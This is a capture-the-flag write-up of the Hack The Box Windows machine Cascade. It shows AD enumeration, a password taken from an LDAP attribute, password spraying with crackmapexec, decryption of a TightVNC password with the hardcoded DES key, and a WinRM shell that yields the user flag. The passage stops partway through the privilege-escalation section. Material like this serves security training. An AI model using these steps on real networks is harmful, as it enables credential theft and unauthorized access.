---
description: >-
  Zweilosec's write-up on the medium difficulty Windows machine Cascade from
  https://hackthebox.eu
---

# HTB - Cascade

## Overview

![](https://1729918369-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MA7zFtkdm8aZR_ujQOq%2F-MDH0H0SK9H_PUuBjG4h%2F-MDH0Uw6rk6BNml5d2aJ%2F1-Cascade-infocard.png?alt=media\&token=0dada785-51d5-419e-bf27-9be2d34d5110)

This medium difficulty Windows machine was a good refresher on themes and techniques I had seen in other machines (such as [Nest](nest-write-up)), but also introduced new things and gave enough of a challenge to be quite fun. With proper enumeration this should be a fairly easy challenge, depending on the comfort level with some aspects (such as reading C# code).

## Useful Skills and Tools

### **Enumerate SMB shares without credentials**

`smbclient -N -L \\\\<server_IP>\\`

or

`smbmap -d <domain> -L -H <IP>`

### **Copying an entire SMB folder recursively using smbclient:**

> 1. Connect using: `smbclient -U <user> \\\\<ip>\\<folder> <password>`
> 2. smb: `tarmode`&#x20;
> 3. smb: `recurse`&#x20;
> 4. smb: `prompt`&#x20;
> 5. smb: `mget <folder_to_copy>`

### **Decode VNC Passwords**

Many VNC products contain the same DES hardcoded encryption key for user passwords, which makes them trivial to break.

```ruby
$> msfconsole

msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["<encrypted_password>"].pack('H*'), fixedkey
=> "[decoded_output]"
```

### **Compile .NET code online**

To quickly compile and run any kind of .NET code on the go without having to install Visual Studio and the proper dependencies, I highly recommend the website [`https://dotnetfiddle.net/`](https://dotnetfiddle.net/)

### **Disassemble .NET binaries**

Binaries written in .NET languages (such as C#) are fairly simple to break down to the original source code with [`https://github.com/icsharpcode/AvaloniaILSpy`](https://github.com/icsharpcode/AvaloniaILSpy).

## Enumeration

#### **Nmap scan**

I started my enumeration with an nmap scan of `10.10.10.182`. The options I regularly use are: `-p-`, which is a shortcut which tells nmap to scan all ports, `-sC` is the equivalent to `--script=default` and runs a collection of nmap enumeration scripts against the target, `-sV` does a service scan, and `-oN <name>` saves the output with a filename of `<name>`.

At first my scan wouldn't go through until I added the `-Pn` flag to stop nmap from sending ICMP probes. After that it proceeded normally.

```
zweilos@kalimaa:~/htb/cascade$ nmap -p- -sC -sV -Pn -oN cascade.nmap 10.10.10.182
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 18:46 EDT
Nmap scan report for 10.10.10.182
Host is up (0.050s latency).
Not shown: 65520 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-06-24 22:52:56Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4m12s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-06-24T22:53:48
|_  start_date: 2020-06-24T17:39:31

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 322.04 seconds
```

The nmap OS detection script identified this machine as `windows_server_2008:r2:sp1` which is a pretty old version of Windows! Other than that I found the standard Windows Domain Controller ports open.

#### **rpcclient**

Next, I connected to the RPC service using `rpcclient`.

```
rpcclient -U "" -N 10.10.10.182

rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
```

I was not able to get much information, but I did get a list of usernames (and their RIDs).

#### **Metasploit - Kerberos user enumeration**

I saved the usernames to a file and ran the Metasploit module `auxiliary(gather/kerberos_enumusers)` to see which of them were valid users and to check if any of them did not require pre-authentication.

```
msf5 auxiliary(gather/kerberos_enumusers) > run
[*] Running module against 10.10.10.182

[*] Validating options...
[*] Using domain: CASCADE.LOCAL...
[*] 10.10.10.182:88 - Testing User: "cascguest"...
[*] 10.10.10.182:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have been revoked
[-] 10.10.10.182:88 - User: "cascguest" account disabled or locked out
[*] 10.10.10.182:88 - Testing User: "arksvc"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "arksvc" is present
[*] 10.10.10.182:88 - Testing User: "s.smith"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "s.smith" is present
[*] 10.10.10.182:88 - Testing User: "r.thompson"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "r.thompson" is present
[*] 10.10.10.182:88 - Testing User: "util"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "util" is present
[*] 10.10.10.182:88 - Testing User: "j.wakefield"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "j.wakefield" is present
[*] 10.10.10.182:88 - Testing User: "s.hickson"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "s.hickson" is present
[*] 10.10.10.182:88 - Testing User: "j.goodhand"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "j.goodhand" is present
[*] 10.10.10.182:88 - Testing User: "a.turnbull"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "a.turnbull" is present
[*] 10.10.10.182:88 - Testing User: "e.crowe"...
[*] 10.10.10.182:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have been revoked
[-] 10.10.10.182:88 - User: "e.crowe" account disabled or locked out
[*] 10.10.10.182:88 - Testing User: "b.hanson"...
[*] 10.10.10.182:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have been revoked
[-] 10.10.10.182:88 - User: "b.hanson" account disabled or locked out
[*] 10.10.10.182:88 - Testing User: "d.burman"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "d.burman" is present
[*] 10.10.10.182:88 - Testing User: "backupsvc"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "backupsvc" is present
[*] 10.10.10.182:88 - Testing User: "j.allen"...
[*] 10.10.10.182:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.182:88 - User: "j.allen" is present
[*] 10.10.10.182:88 - Testing User: "i.croft"...
[*] 10.10.10.182:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have been revoked
[-] 10.10.10.182:88 - User: "i.croft" account disabled or locked out
[*] Auxiliary module execution completed
```

This was interesting. Some of the accounts had their credentials revoked and were disabled or locked out. I hoped this was not the result of someone brute-forcing a login attempt! Unfortunately, all of the active accounts required pre-authentication.

#### **enum4linux**

While I was running those other commands I also had the script `enum4linux` running in another terminal. This script automates a lot of the common enumeration tasks against a Windows machine, but can take some time to run.

```
[+] Getting builtin group memberships:
Group 'Users' (RID: 545) has member: NT AUTHORITY\INTERACTIVE
Group 'Users' (RID: 545) has member: NT AUTHORITY\Authenticated Users
Group 'Users' (RID: 545) has member: CASCADE\Domain Users
Group 'Guests' (RID: 546) has member: CASCADE\CascGuest
Group 'Guests' (RID: 546) has member: CASCADE\Domain Guests
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: NT AUTHORITY\Authenticated Users
Group 'Windows Authorization Access Group' (RID: 560) has member: NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS

[+] Getting local groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44e]
group:[IT] rid:[0x459]
group:[Production] rid:[0x45a]
group:[HR] rid:[0x45b]
group:[AD Recycle Bin] rid:[0x45f]
group:[Backup] rid:[0x460]
group:[Temps] rid:[0x463]
group:[WinRMRemoteWMIUsers__] rid:[0x465]
group:[Remote Management Users] rid:[0x466]
group:[Factory] rid:[0x46c]
group:[Finance] rid:[0x46d]
group:[Audit Share] rid:[0x471]
group:[Data Share] rid:[0x472]

[+] Getting local group memberships:
Group 'Data Share' (RID: 1138) has member: CASCADE\Domain Users
Group 'AD Recycle Bin' (RID: 1119) has member: CASCADE\arksvc
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\krbtgt
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Controllers
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Schema Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Enterprise Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Cert Publishers
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Group Policy Creator Owners
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Read-only Domain Controllers
Group 'IT' (RID: 1113) has member: CASCADE\arksvc
Group 'IT' (RID: 1113) has member: CASCADE\s.smith
Group 'IT' (RID: 1113) has member: CASCADE\r.thompson
Group 'Audit Share' (RID: 1137) has member: CASCADE\s.smith
Group 'HR' (RID: 1115) has member: CASCADE\s.hickson
Group 'Remote Management Users' (RID: 1126) has member: CASCADE\arksvc
Group 'Remote Management Users' (RID: 1126) has member: CASCADE\s.smith

[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]
```

The script returned a lot of the same information I could have gotten from other sources such as `ldapsearch`, put compiled it into one location, neatly separated by category. As useful as this tool is, I do not recommend using it as your sole source of information, as it chops out a lot of the information fields that can sometimes contain useful information.

The most useful information I got from this was the group membership for each user.

* `IT` group contains: **r.thompson**, **s.smith**, and **arksvc**.
* `HR` group contains: **s.hickson**&#x20;
* `AD Recycle Bin` group contains: **arksvc**&#x20;
* `Remote Management Users` group contains **s.smith** and **arksvc**
* `Audit Share` group contains **s.smith**
* `Data Share` group contains all **Domain Users**

#### **smbclient**

Some of the interesting groups insinuated that there was a `Data` and an `Audit` share folder.

```
zweilos@kalimaa:~/htb/cascade$ smbclient -N \\\\10.10.10.182\\Data
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
```

I tried connecting to each folder anonymously to see what I could find. I was able to login successfully, but the ACL denied me access to those folders. Odd!

#### ldapsearch

Since I had found lots of useful information, but still had no credentials, I decided to dive deeper into LDAP and see if there were some details the other tools had missed.  (I had even tried using the usernames list as the passwords to check for that common problem, but no dice there). &#x20;

```
# Remote Management Users, Groups, UK, cascade.local
dn: CN=Remote Management Users,OU=Groups,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: group
cn: Remote Management Users
member: CN=Steve Smith,OU=Users,OU=UK,DC=cascade,DC=local
member: CN=ArkSvc,OU=Services,OU=Users,OU=UK,DC=cascade,DC=local
distinguishedName: CN=Remote Management Users,OU=Groups,OU=UK,DC=cascade,DC=lo
 cal
instanceType: 4
whenCreated: 20200113032705.0Z
whenChanged: 20200117213541.0Z
uSNCreated: 94253
uSNChanged: 127173
name: Remote Management Users
objectGUID:: mcLF5nZ80kCiOcrXdXFmjA==
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFZgQAAA==
sAMAccountName: Remote Management Users
sAMAccountType: 536870912
groupType: -2147483644
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200117213546.0Z
dSCorePropagationData: 20200117213257.0Z
dSCorePropagationData: 20200117033736.0Z
dSCorePropagationData: 20200117001404.0Z
dSCorePropagationData: 16010714223232.0Z

SHARES:
\\Casc-DC1\Audit$
\\Casc-DC1\Data

# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200624203207.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 319688
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132247339091081169
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132375043274134331
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
```

There were some small details that were not found in the other tools, such as the exact share folder naming.  Easily overlooked, there was also an entry on the user `r.thompson` that seemed to have a potential password in the **cascadeLegacyPwd** field .

```
zweilos@kalimaa:~/htb/cascade$ echo clk0bjVldmE= | base64 -d
rY4n5eva
```

Base64 decoding `clk0bjVldmE=` gave me the password `rY4n5eva`.&#x20;

#### crackmapexec

I saved this password to my **passwords** file and used `crackmapexec` to test all of the users against SMB with this password. &#x20;

```
zweilos@kalimaa:~/htb/cascade$ crackmapexec smb -u users -p passwords -d Cascade 10.10.10.182

Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:CASCADE) (signing:True) (SMBv1:False)

SMB         10.10.10.182    445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:Cascade) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1         [-] Cascade\CascGuest:rY4n5eva STATUS_LOGON_FAILURE 
SMB         10.10.10.182    445    CASC-DC1         [-] Cascade\arksvc:rY4n5eva STATUS_LOGON_FAILURE 
SMB         10.10.10.182    445    CASC-DC1         [-] Cascade\s.smith:rY4n5eva STATUS_LOGON_FAILURE 
SMB         10.10.10.182    445    CASC-DC1         [+] Cascade\r.thompson:rY4n5eva
```

As expected, the password belonged to `r.thompson`.&#x20;

## Initial Foothold

### Enumeration as `r.thompson`

#### smbmap

Using my new credentials, I was able to get a full listing of the network shares on this machine.

```
zweilos@kalimaa:~/htb/cascade$ smbmap -H 10.10.10.182 -u r.thompson -p rY4n5eva
[+] IP: 10.10.10.182:445        Name: Casc-DC1                                          
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Audit$                                                  NO ACCESS
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        print$                                                  READ ONLY       Printer Drivers
        SYSVOL                                                  READ ONLY       Logon server share
```

This user was only able to access **Data**, **NETLOGON**, **print$**, and **SYSVOL**. &#x20;

#### smbclient

I checked **SYSVOL** first since it can sometimes contain passwords, but neither it nor **NETLOGON** had anything interesting.  The **print$** admin share only contained a bunch of printer drivers, and I didn't want to jump down the rabbit hole of looking for exploits there until I had exhausted all other avenues of enumeration.

```
zweilos@kalimaa:~/htb/cascade$ smbclient -U r.thompson -W Cascade \\\\10.10.10.182\\data rY4n5eva
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jan 26 22:27:34 2020
  ..                                  D        0  Sun Jan 26 22:27:34 2020
  Contractors                         D        0  Sun Jan 12 20:45:11 2020
  Finance                             D        0  Sun Jan 12 20:45:06 2020
  IT                                  D        0  Tue Jan 28 13:04:51 2020
  Production                          D        0  Sun Jan 12 20:45:18 2020
  Temps                               D        0  Sun Jan 12 20:45:15 2020

                13106687 blocks of size 4096. 7794950 blocks available
```

## Road to User

After connecting to the Data share, I found folders corresponding to each of the business unit security groups I had seen earlier. Since `r.thompson` is a member of the `IT` group I figured that was probably what he had access to.  (I did check the other folders; no access).

```
smb: \> ls IT\
  .                                   D        0  Tue Jan 28 13:04:51 2020
  ..                                  D        0  Tue Jan 28 13:04:51 2020
  Email Archives                      D        0  Tue Jan 28 13:00:30 2020
  LogonAudit                          D        0  Tue Jan 28 13:04:40 2020
  Logs                                D        0  Tue Jan 28 19:53:04 2020
  Temp                                D        0  Tue Jan 28 17:06:59 2020

                13106687 blocks of size 4096. 7795046 blocks available
smb: \> tarmode
tar:311  tarmode is now full, system, hidden, noreset, quiet
smb: \> recurse
smb: \> prompt
smb: \> mget *
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as Meeting_Notes_June_2018.html (10.7 KiloBytes/sec) (average 10.7 KiloBytes/sec)
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as ArkAdRecycleBin.log (6.9 KiloBytes/sec) (average 9.0 KiloBytes/sec)
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as dcdiag.log (28.3 KiloBytes/sec) (average 15.4 KiloBytes/sec)
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as VNC Install.reg (13.8 KiloBytes/sec) (average 15.0 KiloBytes/sec)
```

I used a little trick I had learned on the machine [`Nest`](nest-write-up) for downloading all of the files in an SMB folder recursively.  After downloading all of the files, I browsed through my loot.

![](https://1729918369-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MA7zFtkdm8aZR_ujQOq%2F-MDHXvdltj4ojkFExuer%2F-MDHa-IY0DX5uQmQZifI%2F2-email.png?alt=media\&token=ae62c442-3294-4c0e-91e5-81fb28bf0d0b)

I found another potential username `TempAdmin` in the `Meeting_Notes_June_2018.html` file.  This user was given the same password as the normal admin account, so if I can find the password for one, I have the password for the other!

```
/10/2018 15:43 [MAIN_THREAD]   ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
1/10/2018 15:43 [MAIN_THREAD]   Validating settings...
1/10/2018 15:43 [MAIN_THREAD]   Error: Access is denied
1/10/2018 15:43 [MAIN_THREAD]   Exiting with error code 5
2/10/2018 15:56 [MAIN_THREAD]   ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
2/10/2018 15:56 [MAIN_THREAD]   Validating settings...
2/10/2018 15:56 [MAIN_THREAD]   Running as user CASCADE\ArkSvc
2/10/2018 15:56 [MAIN_THREAD]   Moving object to AD recycle bin CN=Test,OU=Users,OU=UK,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD]   Successfully moved object. New location CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD]   Exiting with error code 0
8/12/2018 12:22 [MAIN_THREAD]   ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
8/12/2018 12:22 [MAIN_THREAD]   Validating settings...
8/12/2018 12:22 [MAIN_THREAD]   Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD]   Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD]   Successfully moved object. New location CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD]   Exiting with error code 0
```

This file `ArkAdRecycleBin.log` looked interesting. If I could login as `arksvc` it seemed likely that I would probably have **SeBackupPrivilege** which would grant pretty much instant pwn. This service account also has `Remote Management Users` group membership so it seems likely that this is a good path to look for.

### **Finding user creds**

The last file I opened was the most juicy looking. Registry keys often have interesting things in them.&#x20;

```
zweilos@kalimaa:~/htb/cascade/IT/Temp/s.smith$ cat VNC\ Install.reg 
��Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""
```

As soon as I saw the `VNC Install.reg` key I knew there had to be a password in it, and I was not disappointed.  The password was encrypted and stored in a hexadecimal format, though **`frizb`** has a repository on GitHub that describes how to decrypt this at [https://github.com/frizb/PasswordDecrypts](https://github.com/frizb/PasswordDecrypts).

> VNC uses a hardcoded DES key to store credentials. The same key is used across multiple product lines.

```ruby
$> msfconsole

msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), fixedkey
=> "sT333ve2"
```

**`frizb`** mentions that there is an easy way to decode this using the interactive Ruby prompt in Metasploit.  Using the "industry standard" decryption key `\x17\x52\x6b\x06\x23\x4e\x58\x07` I was able to decode the password `sT333ve2`.

```
zweilos@kalimaa:~/htb/cascade$ crackmapexec smb -u users -p passwords -d Cascade 10.10.10.182
SMB         10.10.10.182    445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:Cascade) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1         [-] Cascade\CascGuest:rY4n5eva STATUS_LOGON_FAILURE 
SMB         10.10.10.182    445    CASC-DC1         [-] Cascade\CascGuest:sT333ve2 STATUS_LOGON_FAILURE 
SMB         10.10.10.182    445    CASC-DC1         [-] Cascade\arksvc:rY4n5eva STATUS_LOGON_FAILURE 
SMB         10.10.10.182    445    CASC-DC1         [-] Cascade\arksvc:sT333ve2 STATUS_LOGON_FAILURE 
SMB         10.10.10.182    445    CASC-DC1         [-] Cascade\s.smith:rY4n5eva STATUS_LOGON_FAILURE 
SMB         10.10.10.182    445    CASC-DC1         [+] Cascade\s.smith:sT333ve2
```

### **User.txt**

```
zweilos@kalimaa:~/htb/cascade$ evil-winrm -u s.smith -p sT333ve2 -i 10.10.10.182

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\s.smith\Documents> whoami /all

USER INFORMATION
----------------

User Name       SID
=============== ==============================================
cascade\s.smith S-1-5-21-3332504370-1206983947-1165150453-1107


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ===============================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
CASCADE\Data Share                          Alias            S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Audit Share                         Alias            S-1-5-21-3332504370-1206983947-1165150453-1137 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\IT                                  Alias            S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Remote Management Users             Alias            S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

There were ne surprises in either the groups or privileges for `s.smith`.  I was happy to find the `user.txt` file in the Desktop folder though!

```
*Evil-WinRM* PS C:\Users\s.smith\Desktop> type user.txt
f29abe4e609b2aebb4fe99257a9eb507
```

## Path to Power (Gaining Administrator Access)

### Enumeration as `s.smith`

#### smbmap

Once again I fired up `smbmap` to see what level of access this user had to the **Audit$** share folder since I didn't know where it was mounted in the filesystem. &#x20;

```
zweilos@kalimaa:~/htb/cascade$ smbmap -H 10.10.10.182 -u s.smith -p sT333ve2
[+] IP: 10.10.10.182:445        Name: Casc-DC1                                          
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Audit$                                                  READ ONLY
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        print$                                                  READ ONLY       Printer Drivers
        SYSVOL                                                  READ ONLY       Logon server share
```

`s.smith` only had Read access to the **Data** and **Audit** shares, as well as **print$**, **NETLOGON**, and **SYSVOL**

```
zweilos@kalimaa:~/htb/cascade$ smbclient -U s.smith -W Cascade \\\\10.10.10.182\\Audit$
Enter CASCADE\s.smith's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 29 13:01:26 2020
  ..                                  D        0  Wed Jan 29 13:01:26 2020
  CascAudit.exe                       A    13312  Tue Jan 28 16:46:51 2020
  CascCrypto.dll                      A    12288  Wed Jan 29 13:00:20 2020
  DB                                  D        0  Tue Jan 28 16:40:59 2020
  RunAudit.bat                        A       45  Tue Jan 28 18:29:47 2020
  System.Data.SQLite.dll              A   363520  Sun Oct 27 02:38:36 2019
  System.Data.SQLite.EF6.dll          A   186880  Sun Oct 27 02:38:38 2019
  x64                                 D        0  Sun Jan 26 17:25:27 2020
  x86                                 D        0  Sun Jan 26 17:25:27 2020

                13106687 blocks of size 4096. 7794884 blocks available
```

Since I had already checked all of the other shares, I logged into the **audit$** share.  The first file I checked, `RunAudit.bat`, only contained one line.

```
